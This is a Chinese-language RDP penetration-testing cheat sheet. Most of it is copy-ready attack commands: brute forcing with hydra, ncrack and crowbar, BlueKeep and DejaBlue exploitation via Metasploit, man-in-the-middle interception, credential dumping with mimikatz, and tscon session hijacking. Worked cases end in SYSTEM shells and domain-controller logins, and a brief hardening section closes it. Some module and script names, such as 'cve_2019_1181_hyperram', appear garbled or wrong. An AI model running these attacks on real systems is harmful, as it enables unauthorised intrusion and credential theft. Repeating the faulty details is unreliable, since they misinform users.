3389 - RDP 服务渗透测试

服务概述

RDP (Remote Desktop Protocol) 是 Windows 远程桌面协议。暴力破解、中间人攻击、漏洞利用是主要攻击方式。

默认端口: 3389 (TCP/UDP)
危害等级: ⭐⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 TARGET

# 获取服务器信息
nmap -sV --script rdp-info -p 3389 TARGET

# 截图
nmap -sV --script rdp-screenshot -p 3389 TARGET

版本检测

# 使用 rdp-scanner
python3 rdp-scanner.py TARGET

# 手动连接
xfreerdp /v:TARGET /cert-ignore

# 输出显示:
# - RDP 版本 (5/6/7/8/10)
# - NLA 认证 (Network Level Authentication)
# - 加密级别

用户枚举

# 枚举有效用户名
hydra -L users.txt -p password rdp://TARGET

# 或使用 NLA 检测
nmap --script rdp-enum-security -p 3389 TARGET

# 输出:
# Security layer: CredSSP (NLA enabled)
# 或
# Security layer: RDP (NLA disabled)

常见攻击手法

1. 暴力破解

原理: RDP 允许在线密码猜测。

利用:

# hydra
hydra -l administrator -P rockyou.txt rdp://TARGET
hydra -L users.txt -P passwords.txt rdp://TARGET

# ncrack
ncrack -vv --user administrator -P rockyou.txt rdp://TARGET

# Medusa
medusa -h TARGET -u administrator -P rockyou.txt -M rdp

# Crowbar (推荐,慢但稳定)
crowbar -b rdp -s TARGET/32 -u administrator -C rockyou.txt -v

2. NLA 绕过

原理: Network Level Authentication 未启用时可匿名连接。

检测:

# nmap 检测
nmap --script rdp-enum-security -p 3389 TARGET

# 输出:
# Security layer: RDP (NLA disabled) ← 可攻击
# 或
# Security layer: CredSSP (NLA enabled) ← 需要凭据

利用:

# 如果 NLA 禁用
# 可直接连接看到登录界面

xfreerdp /v:TARGET /cert-ignore

# 可截图、记录按键等

3. BlueKeep (CVE-2019-0708)

原理: RDP 远程代码执行漏洞 (未认证)。

检测:

# nmap 检测
nmap -sV --script rdp-vuln-ms19-056 -p 3389 TARGET

# metasploit
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS TARGET
run

利用:

# metasploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOST TARGET
set TARGET 0
run

# 如果成功,获取 SYSTEM 权限 shell

4. DejaBlue (CVE-2019-1181/1182)

原理: BlueKeep 后续漏洞,影响 Win7/2008/2012/2016。

检测:

# metasploit
use auxiliary/scanner/rdp/cve_2019_1181
set RHOSTS TARGET
run

利用:

# metasploit
use exploit/windows/rdp/cve_2019_1181_hyperram
set RHOST TARGET
run

5. 中间人攻击

原理: RDP 加密弱可被 MITM 拦截。

利用:

# 使用 rdpmitm
git clone https://github.com/ropnop/rdpmitm
cd rdpmitm
pip install -r requirements.txt

# 启动 MITM
python3 rdpmitm.py -l 0.0.0.0 -p 3389 -r TARGET

# 受害者连接后
# 可记录按键、截图、重放

# 或使用 seth (ARP 欺骗 + RDP MITM)
git clone https://github.com/SySS-Research/Seth
./seth.sh eth0 TARGET GATEWAY

6. 凭据窃取

原理: 从 RDP 客户端窃取保存的凭据。

利用:

# 导出 RDP 文件
# .rdp 文件可能包含加密凭据

# 解密凭据
python3 rdp_decrypt.py credentials.bin

# 或使用 mimikatz
mimikatz # sekurlsa::rdp

实战案例

案例 1: 暴力破解获取访问

# 1. 扫描 RDP
nmap -sV --script rdp-info -p 3389 TARGET

# 2. 发现 NLA 禁用
# Security layer: RDP

# 3. 暴力破解
hydra -l administrator -P rockyou.txt rdp://TARGET

# 4. 成功
# [3389][rdp] host: TARGET, login: administrator, password: Password123!

# 5. 连接
xfreerdp /v:TARGET /u:administrator /p:Password123! /cert-ignore

案例 2: BlueKeep 漏洞利用

# 1. 扫描漏洞
nmap --script rdp-vuln-ms19-056 -p 3389 TARGET

# 输出:
# VULNERABLE: CVE-2019-0708

# 2. metasploit 利用
msfconsole
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOST TARGET
set TARGET 0
run

# 3. 获取 shell
# meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM

案例 3: 内网横向移动

# 1. 获取初始访问
# 通过钓鱼或其他方式

# 2. 扫描内网 RDP
nmap -sV -p 3389 192.168.1.0/24

# 3. 发现目标
# 192.168.1.50 (Windows Server)
# 192.168.1.100 (Windows 10)

# 4. 使用窃取的凭据
xfreerdp /v:192.168.1.50 /u:admin /p:StolenPass123! /cert-ignore

# 5. 访问域控
xfreerdp /v:192.168.1.10 /u:domain_admin /p:DomainPass456! /cert-ignore

案例 4: RDP 劫持

# 1. 获取管理员权限
# 通过其他方式

# 2. 查找活跃 RDP 会话
query session

# 输出:
# SESSIONNAME       USERNAME                 ID  STATE
# rdp-tcp#5         john.doe                  2  Active

# 3. 劫持会话
tscon 2 /dest:console

# 4. 现在可以访问用户桌面
# 无需密码

工具

xfreerdp

# 基本连接
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD

# 忽略证书
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /cert-ignore

# 全屏模式
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /f

# 多显示器
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /multimon

# 共享剪贴板
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /clipboard

# 映射本地驱动器
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /drive:share,/path/to/share

Crowbar

# RDP 暴力破解
crowbar -b rdp -s TARGET/32 -u administrator -C rockyou.txt -v

# 多用户
crowbar -b rdp -s TARGET/32 -U users.txt -C rockyou.txt -v

# 详细输出
crowbar -b rdp -s TARGET/32 -u administrator -C rockyou.txt -v -d

ncrack

# RDP 破解
ncrack -vv --user administrator -P rockyou.txt rdp://TARGET

# 多用户
ncrack -vv -U users.txt -P passwords.txt rdp://TARGET

# 速率控制
ncrack -vv --user administrator -P rockyou.txt rdp://TARGET -T 4

Metasploit

# 扫描
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS TARGET
run

# BlueKeep 检测
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS TARGET
run

# 漏洞利用
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOST TARGET
run

# 凭据收割
use post/windows/gather/credentials/rdp
set SESSION 1
run

防御建议

服务器配置

# 1. 启用 NLA
# 组策略:计算机配置 → 管理模板 → Windows 组件
# → 远程桌面服务 → 远程桌面会话主机 → 安全
# → 要求使用网络级别的身份验证

# 2. 强密码策略
# 最小 14 字符
# 复杂度要求
# 定期更换

# 3. 账户锁定
# 5 次失败后锁定 30 分钟

# 4. 限制用户
# 仅允许必要用户 RDP 访问
# 删除 Administrators 组外的 RDP 权限

网络隔离

# 1. 防火墙规则
# 限制 RDP 访问来源
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389 remoteip=192.168.1.0/24

# 2. VPN 访问
# RDP 仅通过 VPN 访问

# 3. 更改端口
# 注册表修改默认端口
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber

监控检测

# 1. 日志监控
# 事件查看器 → Windows 日志 → 安全
# 事件 ID 4624 (登录成功)
# 事件 ID 4625 (登录失败)

# 2. 异常检测
# 大量失败登录
# 非工作时间登录
# 未知 IP 登录

# 3. PowerSI 脚本
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} |
  Where-Object {$_.TimeCreated -gt (Get-Date).AddHours(-24)}

参考链接